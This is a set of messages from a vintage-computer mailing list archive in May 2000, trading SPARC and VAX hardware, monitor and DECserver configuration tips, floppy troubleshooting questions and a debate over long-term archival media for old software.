2005 Subject: Finds References: <20000531142113.96331.qmail@hotmail.com><14645.17171.265685.828635@phaduka.neurotica.com> <14645.24153.554761.420112@phaduka.neurotica.com> Message-ID: <20000531190346.16843.qmail@hotmail.com> I've got several machines I use for different purposes. I've got a 700MHz Athlon with Windoze 'cause Unreal Tournament just sucks on a DECStation 5000 :) But the DEC makes a really nice webserver, and the SPARCStation 10 can run Netscape SuiteSpot servers OK but I wouldn't want to run Communicator on it. (Netscape is comparatively slow on my Ultra 10 at work) A place for everything and everything in it's place. ----- Original Message ----- From: "Dave McGuire" To: Sent: Wednesday, May 31, 2000 2:47 PM Subject: Re: Finds > On May 31, Zane H. Healy wrote: > > Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to > > give it up for a state of the art single or dual processor PC my opinions > > of acceptable speed might be a little outside the norm :^) > > > > Remember for most things stability is more important that speed. > > While I agree 100%, it would seem that the unfortunate proliferation > of PeeCees have all but killed that mindset. I suspect that most of > us fight very hard to keep it alive. > > But...on the term "acceptable speed"...isn't that completely > subjective? I mean, what's acceptable to you might be too slow for > Joe Blow, or uselessly fast for Jane Doe...Intel would have us believe > that we all do the exact same thing with our computers, and that the > only possible thing that we should find acceptable is *their* brand of > high-performance...i.e. blindingly fast until you try to do more than > one thing at a time, then it goes into the toilet. > > Man, if your RS/6000 does the job, and you like it, then keep it, > and more power to you! > > > -Dave McGuire > From dhquebbeman at theestopinalgroup.com Wed May 31 14:04:20 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD76@TEGNTSERVER> > >Mylar punched paper tape has a VERY long lifetime and is even human > >readable (well sorta ;)). > > What ever happened to the really high density laser punched > mylar/paper > tape that was being talked about so much a few years ago? Much higher > density than magnetic tape, and very very long archival life. What about that optical tape they used in the movie "Brainstorm"??? Somehow, I always thought they'd bought a failed technology rather than just mock something up. If it wasn't real, it was still as cool as Hell! *fantasy mode off* -doug q From aw288 at osfn.org Wed May 31 14:09:01 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > The trick is to apply the solution that makes most sense for today and > keep looking for new mediums to transfer the archive to. The best medium > I see now is redudndant living systems, and what I mean by that is having > the archives stored on a hard drive somewhere (connected to the internet), > preferably with RAID, and have mirrors of that site in multiple places. > This will allow for universal and immediate access. As systems die, the > archive is simply moved on to the next host. Its nice to see someone sees the big picture here. Safety in numbers, sort of. In a few years, a RAID capable of holding every bit (literally) of classic computer software will be peanuts. As new computers are deemed "classic" and more software will need archiving, the available RAIDs will grow to accomodate, maybe even faster than the stuff that needs storing. "NO WAY! There's too much out there!" you say. Well, my response is that a terabyte is a lot of stuff. Ten terabytes is even more stuff. Do I hear one hundred, or even the "p" word? I think you would run out of willpower to keep reading tapes before the RAIDs get full. Moving and syncing the archives properly is no big deal either - its a well documented, well known procedure, and it happens all the time, quite transparently. Every one on this list has gone thru the process - how many people noticed? The choice of medium is really unimportant, and as pointed out, kind of silly when one deals in even a few megabytes (how much mylar tape is that again?). Embrace this new technology - it really does work well. The old technology just doesn't cut the mustard anymore. William Donzelli aw288@osfn.org From dhquebbeman at theestopinalgroup.com Wed May 31 14:11:59 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:10 2005 Subject: IBM I/O Selectric/Posting Machine (Was RE: Atari 800 keyboards) Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD77@TEGNTSERVER> > That's one of the PRACTICAL uses of a keyboard actuator! > Never mind trying to use a Selectric as a printer, the REAL use of a > Dynatyper or KGS-80 is for copying megabytes of text to exercise a > keyboard. God, the dynatyper, I remember that... On a related note, I have an old I/O Selectric, not the generalized model, but one that appears to have been a teller terminal of some kind. Perhaps it was even used by a vehicle license branch. Anyway, I never could get it to function with the IBM controller that came with it (which I think put out EBCDIC), but it also came with an aftermarket controller (which I think put out ASCII). If anyone has been searching high and low for one of these, I'd probably let go of it for the right price or trade. Shipping will be a killer, tho; it's very heavy. -doug q From foo at siconic.com Wed May 31 13:13:28 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000 allisonp@world.std.com wrote: > > take to store even one floppy disk? And then, where are all these cards > > going to go? Where does one store millions of punched cards? Who's going > > to pay for this? > > First, whose twisting your arm? It was a thought, and only that! I'm just commenting on the impracticality of it all. > Again reread tape is not cards! the information density of tape FYI is > higher than cards and laks the "ordering" problem if dropped. Also no > rule says 10 punches per linear inch is required, you could go 16 wide > and 20 per inch upping the denity fourfold. Or better yet optically > print the image (density limits already mentiond are 100-1000x). Still impractical. > Dream a bit, maybe a cheap idea will emerge. I'm always dreaming, baby! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From lemay at cs.umn.edu Wed May 31 14:21:00 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: from "Zane H. Healy" at "May 31, 2000 10:51:08 am" Message-ID: <200005311921.OAA00462@caesar.cs.umn.edu> > > I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 > (although it has the 32MB S-Bus card in it for a total of 96MB :^). > I'll sell you my sparc 2 for $200 any day. Heck, I MIGHT even sell you my SPARCclassic X (converted back to a SPARCclassic), with 96 meg ram, for $200... I have too much stuff as it is... Of course, if anyone is serious, and is interested in some IPX's, I would definitely consider offers. I have several IPX's. And for the serously deranged, if you need Sun 3 mice, i'm your man... i have a small box full of them, something like 25-30 mice or so... No, i dont have optical mouse pads. Ah well, I'm digressing from the topic. Nothing good can come of that... -Lawrence LeMay From mikeford at socal.rr.com Wed May 31 14:50:35 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> from Jason McBrien at "May 31, 2000 10:26:05 am" Message-ID: >I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 >(although it has the 32MB S-Bus card in it for a total of 96MB :^). I really feel sorry for you poor souls lost out in the boonies. Couple weeks ago I was at a scrap place with TWO pallets of Tatung UltraSparcs (not $25, but not too bad either. Didn't last long too.). I wish I had known it was OK to bring a few home. From kenn at bluetree.ie Wed May 31 14:34:09 2000 From: kenn at bluetree.ie (Kenn Humborg) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <20000531181140.34079.qmail@hotmail.com> Message-ID: > Also, you'll need the special > DEC monitor that goes with whatever station you are buying, you > can't use a > chincy PC compatable monitor with a VAXStation. However, a good quality multi-sync (i.e. modern) PC monitor with BNC inputs will probably work fine. I'm using an Iiyama Visionmaster 17 with a VAXstation 3500 (VCB02 video adapter) with no trouble. (And I have my PC plugged into the VGA input, so I can switch between VAX and PC using the monitor's front panel buttons.) Later, Kenn From kenn at bluetree.ie Wed May 31 14:36:08 2000 From: kenn at bluetree.ie (Kenn Humborg) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <14645.24792.416588.194832@phaduka.neurotica.com> Message-ID: > In another week or so, a terminal server will be connected to all > the console ports, as well as the VT320 terminal. Then I won't even > need to be downstairs (or in the house at all) to gain console access. This reminds me of something... I've got a DECserver 90L+ terminal server. I'd like to connect a terminal to one port and a couple of VAX console ports to other ports. Is there any way to 'connect' through from one port on the terminal server to another (without having to log into a host that will do reverse LAT and connect back out to the terminal server again)? Later, Kenn From pechter at pechter.dyndns.org Wed May 31 14:41:04 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: <200005311921.OAA00462@caesar.cs.umn.edu> from Lawrence LeMay at "May 31, 2000 02:21:00 pm" Message-ID: <200005311941.PAA01155@bg-tc-ppp903.monmouth.com> > > > > I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 > > (although it has the 32MB S-Bus card in it for a total of 96MB :^). > > > > I'll sell you my sparc 2 for $200 any day. Heck, I MIGHT even sell you > my SPARCclassic X (converted back to a SPARCclassic), with 96 meg ram, > for $200... I have too much stuff as it is... > > Of course, if anyone is serious, and is interested in some IPX's, I > would definitely consider offers. I have several IPX's. And for the > serously deranged, if you need Sun 3 mice, i'm your man... i have a > small box full of them, something like 25-30 mice or so... No, i dont > have optical mouse pads. > > Ah well, I'm digressing from the topic. Nothing good can come of that... > > -Lawrence LeMay > > -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From mcguire at neurotica.com Wed May 31 14:42:01 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: RE: VAX-11? and some C64 stuff (Kenn Humborg) References: <20000531181140.34079.qmail@hotmail.com> Message-ID: <14645.27401.814577.472922@phaduka.neurotica.com> On May 31, Kenn Humborg wrote: > > Also, you'll need the special > > DEC monitor that goes with whatever station you are buying, you > > can't use a > > chincy PC compatable monitor with a VAXStation. > > However, a good quality multi-sync (i.e. modern) PC monitor > with BNC inputs will probably work fine. I'm using an > Iiyama Visionmaster 17 with a VAXstation 3500 (VCB02 video > adapter) with no trouble. > > (And I have my PC plugged into the VGA input, so I can switch > between VAX and PC using the monitor's front panel buttons.) The good thing, though, about using "original" DEC monitors on machines like those is that you can get a wonderfully HUGE tube with a deliriously tight dot pitch and fabulous video quality for next to nothing because they're fixed-frequency. The PeeCee world's inability to develop video systems that don't require changing sync rates every time the wind blows has afforded the Real Workstation world a wonderful advantage...a plethora of gorgeous, huge monitors that can be had for a song. :-) -Dave McGuire From healyzh at aracnet.com Wed May 31 14:48:07 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: <14645.24153.554761.420112@phaduka.neurotica.com> References: Re: Finds (Zane H. Healy) <20000531142113.96331.qmail@hotmail.com> <14645.17171.265685.828635@phaduka.neurotica.com> Message-ID: Dave McGuire wrote: >On May 31, Zane H. Healy wrote: >> Of course since I have a 60Mhz RS/6000 on my desk at work and refuse to >> give it up for a state of the art single or dual processor PC my opinions >> of acceptable speed might be a little outside the norm :^) >> >> Remember for most things stability is more important that speed. > > While I agree 100%, it would seem that the unfortunate proliferation >of PeeCees have all but killed that mindset. I suspect that most of >us fight very hard to keep it alive. > But...on the term "acceptable speed"...isn't that completely >subjective? I mean, what's acceptable to you might be too slow for >Joe Blow, or uselessly fast for Jane Doe...Intel would have us believe >that we all do the exact same thing with our computers, and that the >only possible thing that we should find acceptable is *their* brand of >high-performance...i.e. blindingly fast until you try to do more than >one thing at a time, then it goes into the toilet. > > Man, if your RS/6000 does the job, and you like it, then keep it, >and more power to you! The thing to remember is to choose the software you use with care. On the RS/6000 in question Netscape 3.0 has acceptable performance, however, Netscape 4.0 does not. As a result I normally use Netscape 3.0, if necessary I'll use either Netscape 4.0 or else I'll use Metaframe to run Internet Exploder. My main problem isn't the speed, it's the 8-bit graphics. I've come to really like Metaframe even though I totally hate Windows and refuse to use it for the simple fact it allows me to use MS Lookout for mail and calendaring (I'm still pissed we moved off of the multi-platform calendaring software which did everything we needed and was *easy* to use). The other thing is it's all in how you're using the system. In the case of the RS/6000 it's an intelligent X-Term that's rock solid (I can't afford to have my desktop system crash in my job), and if I goof on a program I'm writing I only lock my own system up (I've done that a couple times). The fact I can't afford for it to crash is why I've been able to justify keeping the system. If I'm working on a writing project on my own time I'm quite happy to use something like a Mac SE/30 running MS Word 5.1, though I prefer my PowerBook 540c running Word 6.0.1 as it has features I *really* like, even though it's a pig. On my G4/450 I run Word '98, but only because it's more compatible with the newer versions of Mac OS. I need a *fast* Mac at home because I like doing things like Graphics and Audio processing. It's nice having a fairly fast UNIX (333Mhz PII) or OpenVMS (433Mhz 21164) box at home, but I don't need the really the state of the art really fast ones in the case of them because of how I use them. Geez, what a ramble, and look at the time. Gotta head into work. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pechter at pechter.dyndns.org Wed May 31 14:49:40 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: from Mike Ford at "May 31, 2000 09:32:13 am" Message-ID: <200005311949.PAA01237@bg-tc-ppp903.monmouth.com> > >A Sparcstation 10 -- Fantastic. Got to find something like that for > >Solaris 8. > > Will 8 run on a 10, my wife wants a home system to play with instead of the > E250 she has at the office, and told me she needs at least a 5 (which is a > much newer system than a 10 or 20 right?). > Solaris 8 just dropped support for Sun4 and Sun4c architectures (actually -- I think 2.6 was trhe last for the Sun4 architecture.) Sun4m (Sparc10/20) and Sun4u (Ultra) are supported in 8. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Wed May 31 13:59:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000, William Donzelli wrote: > The choice of medium is really unimportant, and as pointed out, kind of > silly when one deals in even a few megabytes (how much mylar tape is that > again?). Embrace this new technology - it really does work well. The old > technology just doesn't cut the mustard anymore. On the other hand, what happens when/if civilization falls into another dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? Longevity of the medium becomes an issue if you have a bleak outlook for our future. You also have to count on future generations having the same devotion that our current little group does with regards to archiving old software. I'm an optimistic pessismist (in other words, a realist). I don't think we can always count on future generations to carry on the tradition and continue moving the archives from one RAID network to the next in perpetuity. And who knows, maybe one day the electricity will run out. Hence, the need for a longterm physical solution. One that will require no maintenance from people. Something that can sit in a cave undiscovered for millenia to be uncovered at some future date and leave the future discoverers in awe of our primitive technology. If someone wants to buy and then punch millions of feet of mylar punch tape with the archive that we will eventually create, then find an out of the way cave somewhere to hide it all in, be my guest. My prefered course of action is to keep it digital until some long lasting (near infinity), incredibly high density (megabytes/gigabytes per square inch) magnetic medium can be invented. Shit, this would be so much easier if the whole planet just got sucked into a black hole. Then it wouldn't matter anymore ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ethan_dicks at yahoo.com Wed May 31 15:04:45 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:10 2005 Subject: Microfische readers available Message-ID: <20000531200445.1128.qmail@web611.mail.yahoo.com> With all this talk of archival media, I'm reminded that I have a couple of fische readers that I'd like move out (I aquired a double reader as an upgrade). They are a pair of Bell+Howell ABR-917s. I have copies of the operation manual to go with them. The copyright date is 1989. Any takers? Given the size and fragility, pick-ups are preferred over shipping. Shipping would be based on cost of packing materials and actual UPS charges (not MBX Etc) from Columbus, OH (43201). -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From thompson at mail.athenet.net Wed May 31 15:08:44 2000 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Message-ID: Set the ports connected to the console(s) up as a LAT service and connect to that service from another port on the DECserver or host. See help DEFINE SERVICE or SET SERVICE You would need to set the console connected ports up as remote access (as opposed to local access) On Wed, 31 May 2000, Kenn Humborg wrote: > > In another week or so, a terminal server will be connected to all > > the console ports, as well as the VT320 terminal. Then I won't even > > need to be downstairs (or in the house at all) to gain console access. > > This reminds me of something... > > I've got a DECserver 90L+ terminal server. I'd like > to connect a terminal to one port and a couple of VAX > console ports to other ports. Is there any way to > 'connect' through from one port on the terminal server > to another (without having to log into a host that will > do reverse LAT and connect back out to the terminal > server again)? > > Later, > Kenn > > From healyzh at aracnet.com Wed May 31 15:17:04 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: <20000531190346.16843.qmail@hotmail.com> from "Jason McBrien" at May 31, 2000 03:08:37 PM Message-ID: <200005312017.NAA29427@shell1.aracnet.com> > > I've got several machines I use for different purposes. I've got a 700MHz > Athlon with Windoze 'cause Unreal Tournament just sucks on a DECStation 5000 > :) But the DEC makes a really nice webserver, and the SPARCStation 10 can > run Netscape SuiteSpot servers OK but I wouldn't want to run Communicator on > it. > (Netscape is comparatively slow on my Ultra 10 at work) A place for > everything and everything in it's place. Strange, I'd think Netscape Communicator would do OK on a SS10, especially with a second processor. The best machine I've run it on has been a dual 400Mhz Celeron system with 256MB RAM running Solaris 7, and that was with only UDMA33 drives and an old Matrox Millenium II graphics card. It seems to me like Netscape runs the best under Solaris. I run it on Mac OS, AIX, OpenVMS, Linux, Solaris, Tru64, and Windows (don't think I missed any there). Zane From healyzh at aracnet.com Wed May 31 15:20:38 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:10 2005 Subject: Finds In-Reply-To: from "Mike Ford" at May 31, 2000 11:50:35 AM Message-ID: <200005312020.NAA30113@shell1.aracnet.com> > >I sure wish I could find a Sparc 10 for $25! My Sparc 2 cost me over $200 > >(although it has the 32MB S-Bus card in it for a total of 96MB :^). > > I really feel sorry for you poor souls lost out in the boonies. Couple > weeks ago I was at a scrap place with TWO pallets of Tatung UltraSparcs > (not $25, but not too bad either. Didn't last long too.). I wish I had > known it was OK to bring a few home. Well, I didn't just buy it for that, I got it when that's about what they were worth. The only reason I payed as much as I did was because of the SCSI S-Bus card in it. I *really* want a SS20 w/dual SM71's or SM81's, and something like 192MB RAM, but then I look at what I can get in an x86 box for that price and just shake my head. I might like Sparcs, but x86 is the only platform Solaris makes sense on! Of course my dream Sparc would be a Dual Ultra 2 :^) Zane From healyzh at aracnet.com Wed May 31 15:25:58 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <14645.27401.814577.472922@phaduka.neurotica.com> from "Dave McGuire" at May 31, 2000 03:42:01 PM Message-ID: <200005312025.NAA30819@shell1.aracnet.com> > The good thing, though, about using "original" DEC monitors on > machines like those is that you can get a wonderfully HUGE tube with a > deliriously tight dot pitch and fabulous video quality for next to > nothing because they're fixed-frequency. > > The PeeCee world's inability to develop video systems that don't > require changing sync rates every time the wind blows has afforded the > Real Workstation world a wonderful advantage...a plethora of gorgeous, > huge monitors that can be had for a song. :-) > > -Dave McGuire > BUT, if you're short on Desktop space, one really nice 21" multisync monitor is your best friend. Well, that, X-Windows, and a digital KVM switch. Remember all those beautiful big monitors take up a lot of space, generate a lot of heat, and weigh a lot. Zane From lbutzel at home.com Wed May 31 14:46:12 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:52:10 2005 Subject: Info on the Dynalogic Hyperion Message-ID: <020401bfcb38$e0affbe0$e3d30618@sttln1.wa.home.com> Looking for info on the Dynalogic Hyperion, a "portable" DOS machine manufactures around 1983. At least the one I have is 1983. it was designed and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 by Bytec, who was later bought by I think a Quebec company called Comterm. Anyway, mine has stopped working: The machine still boots but no image is displayed on its 7" diag screen. Hence I am looking for service info and/or persons who have worked on the machine. Any leads would be most appreciated. Leo Butzel Seattle, WA lbutzel@home.com From aw288 at osfn.org Wed May 31 15:42:43 2000 From: aw288 at osfn.org (William Donzelli) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: > On the other hand, what happens when/if civilization falls into another > dark period (world war, nuclear holocaust, whatever-doomsday-scenario)? Spread out the data - world wide. I've been in computing centers (well, one) that was designed for a nuclear holocaust. If a war comes, I think that at least one mirror out in Itchybutt, North Dakoda or wherever, will survive. It may be isolated, and may be down for some time, but it will be there. Of course, reading old TRS-80 files will be the least of your concerns. > Longevity of the medium becomes an issue if you have a bleak outlook for > our future. You also have to count on future generations having the same > devotion that our current little group does with regards to archiving old > software. There will be. Once the museum folk start to seriously study something like old computers, they never let go. Never. Just try to think of something, anything, that was studied in a historical context once, but not anymore. And, as stuff gets older, the studies get more serious. The good thing is that the museum folk _have_ started seriously looking into old computers. The ball, as they say, is rolling... > I'm an optimistic pessismist (in other words, a realist). I don't think > we can always count on future generations to carry on the tradition and > continue moving the archives from one RAID network to the next in > perpetuity. See the above paragraph. Museum folk are very conservative, very careful, and look far into the future. For example, a friend on the Pampanito (WW2 submarine on display in the Bay Area) is very confident that the work they are doing on the boat will be appreciated in 1000 years. > And who knows, maybe one day the electricity will run out. Electricity is of no importance. The information content is. Electricity may be "obsolete" some day, if superconductors deliver what they promise, but historical information never goes obsolete. The next medium does not matter. > Hence, the need for a longterm physical solution. One that will require > no maintenance from people. Something that can sit in a cave undiscovered > for millenia to be uncovered at some future date and leave the future > discoverers in awe of our primitive technology. There is nothing wrong with taking "snapshots" of the archives for long term storage. None at all. But it does have to be practical, and should not be viewed as the standard to which all such snapshots are made. In other words, even the medium the snapshots are taken in should evolve, and use the latest-greatest thing. > My prefered course of action is to keep it digital until some long lasting > (near infinity), incredibly high density (megabytes/gigabytes per square > inch) magnetic medium can be invented. That sounds great. I would wager that today's high-rel hard disks are already in the "long lasting incredibly high density (megabytes/gigabytes per square inch)" category. William Donzelli aw288@osfn.org From PasserM at umkc.edu Wed May 31 15:45:27 2000 From: PasserM at umkc.edu (Passer, Michael) Date: Sun Feb 27 18:52:10 2005 Subject: OSI C4P MF floppy drive - troubleshooting Message-ID: <95A711A70065D111B58C00609451555C0346B7DC@umkc-mail02.wins.umkc.edu> In addition to Mr. Willig's C1P (thanks!), I now have a C4P MF with which I am having floppy troubles. When I was a kid, I couldn't afford disk drives, so I'm not entirely sure what to do. - The machine works with a known good drive (an MPI from the C1P MF). However, it does not work with either of its own two drives. - All the power supplies are good--they all work with the known good C1P MF's drive. - When I answer "D" to "H/D/M?", the drive starts to step, then just stops. This happens with either drive (strapped to DS0), and with either just one or both drives connected. Are there some obvious things that I should try? I know I'm going to come off as a Philistine to some here, but are there any modern drives I can use (e.g. 360K double sided drives)? Does anyone know the secrets of the drive jumpers? (The C4P MF's drives have no indication of manufacturer anywhere visible.) I appreciate any help or advice you can share--thanks! --Michael Passer From cmcmanis at mcmanis.com Wed May 31 15:46:11 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:10 2005 Subject: SPARC machines wanted (was Re: Finds) In-Reply-To: References: <200005311431.KAA00695@bg-tc-ppp542.monmouth.com> <20000531142113.96331.qmail@hotmail.com> Message-ID: <4.3.2.7.2.20000531134400.00c31280@208.226.86.10> At 11:50 AM 5/31/00 -0800, Mike wrote: >I wish I had known it was OK to bring a few home. Ok, for all you surplus hounds out there, in my wish list are a SPARCStation LX and a SPARCServer 1000 w/4 CPUs. I'm pretty sure they are both 4m architecture although the former was a single CPU only. If you find one and are wondering if someone could use it, let me know. --Chuck From mikeford at socal.rr.com Wed May 31 16:57:21 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <200005312025.NAA30819@shell1.aracnet.com> References: <14645.27401.814577.472922@phaduka.neurotica.com> from "Dave McGuire" at May 31, 2000 03:42:01 PM Message-ID: >BUT, if you're short on Desktop space, one really nice 21" multisync monitor >is your best friend. Well, that, X-Windows, and a digital KVM switch. >Remember all those beautiful big monitors take up a lot of space, generate a >lot of heat, and weigh a lot. My 4 year old CTX 17" flaked out the other day, and my plan for a replacement is a nice 3 or so year old Sun SVGA 21" with some sort of second monitor, maybe a portrait or even a 21" greyscale (two monitors on a mac, or more works seamlessly). Any opinions on the Sun 20D10 monitors? or a E20E? I also found a couple HP 1097C monitors I need to make a space for, but can't use on the newer macs I don't think? (haven't tried my sync on green adapter yet). From ard at p850ug1.demon.co.uk Wed May 31 13:05:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005310024.RAA29348@civic.hal.com> from "Dwight Elvey" at May 30, 0 05:24:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2968 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/b53abf1b/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:12:08 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 06:28:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1369 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/dda7c6ff/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:17:18 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005310037.RAA29540@civic.hal.com> from "Dwight Elvey" at May 30, 0 05:37:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1942 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/88b26e43/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:21:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000531005849.CPGO2991.mailhost.kal.ameritech.net@paulrsm> from "Paul R. Santa-Maria" at May 30, 0 08:56:30 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1001 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/01879a6a/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 31 13:35:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002a01bfcac4$d3330440$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 11:55:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1477 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/c3cca357/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 31 15:49:54 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:10 2005 Subject: OT: Archiving data (LONG) In-Reply-To: from "Sellam Ismail" at May 31, 0 09:34:32 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2594 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/cac483e6/attachment.ksh From pechter at pechter.dyndns.org Wed May 31 16:06:35 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:10 2005 Subject: SPARC machines wanted (was Re: Finds) In-Reply-To: <4.3.2.7.2.20000531134400.00c31280@208.226.86.10> from Chuck McManis at "May 31, 2000 01:46:11 pm" Message-ID: <200005312106.RAA01496@bg-tc-ppp903.monmouth.com> > At 11:50 AM 5/31/00 -0800, Mike wrote: > >I wish I had known it was OK to bring a few home. > > Ok, for all you surplus hounds out there, in my wish list are a > SPARCStation LX and a SPARCServer 1000 w/4 CPUs. I'm pretty sure they are > both 4m architecture although the former was a single CPU only. If you find > one and are wondering if someone could use it, let me know. > > --Chuck Well, I'll settle for an LX, or a Classic or a 10 or 20. I'll be willing to unload an Opus Sparcstation2 clone, Color Montitor, and IPX and ELC. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From jbmcb at hotmail.com Wed May 31 16:14:07 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:52:11 2005 Subject: Finds References: <200005312020.NAA30113@shell1.aracnet.com> Message-ID: <20000531210909.38980.qmail@hotmail.com> I don't know, those Ultra 80 Quad 450MHz CPU Boxes look niiiiccceee. You're right about the overall cost/performance ratio of the older hardware, but you also have to take into consideration how stable the machines are. Take a $100 low end SPARCStation and $100 of used pentium hardware. You'd probably get a faster Pentium machine (Maybe a P-90) but take a close look at the craftsmanship of the machine. Sun's run FOREVER, they just don't fail due to shoddy hardware designs. Early Pentium designs were REALLY buggy, even the later models had nasty bugs (f00f anyone?) I know several companies that kept their 486 servers, even when they were terribly out of date, because the 486 design had been battle tested for so many years. Keep in mind that the performance in price/performance also includes multitasking and stability concerns. > Well, I didn't just buy it for that, I got it when that's about what they > were worth. The only reason I payed as much as I did was because of the > SCSI S-Bus card in it. > > I *really* want a SS20 w/dual SM71's or SM81's, and something like 192MB > RAM, but then I look at what I can get in an x86 box for that price and just > shake my head. I might like Sparcs, but x86 is the only platform Solaris > makes sense on! > > Of course my dream Sparc would be a Dual Ultra 2 :^) > > 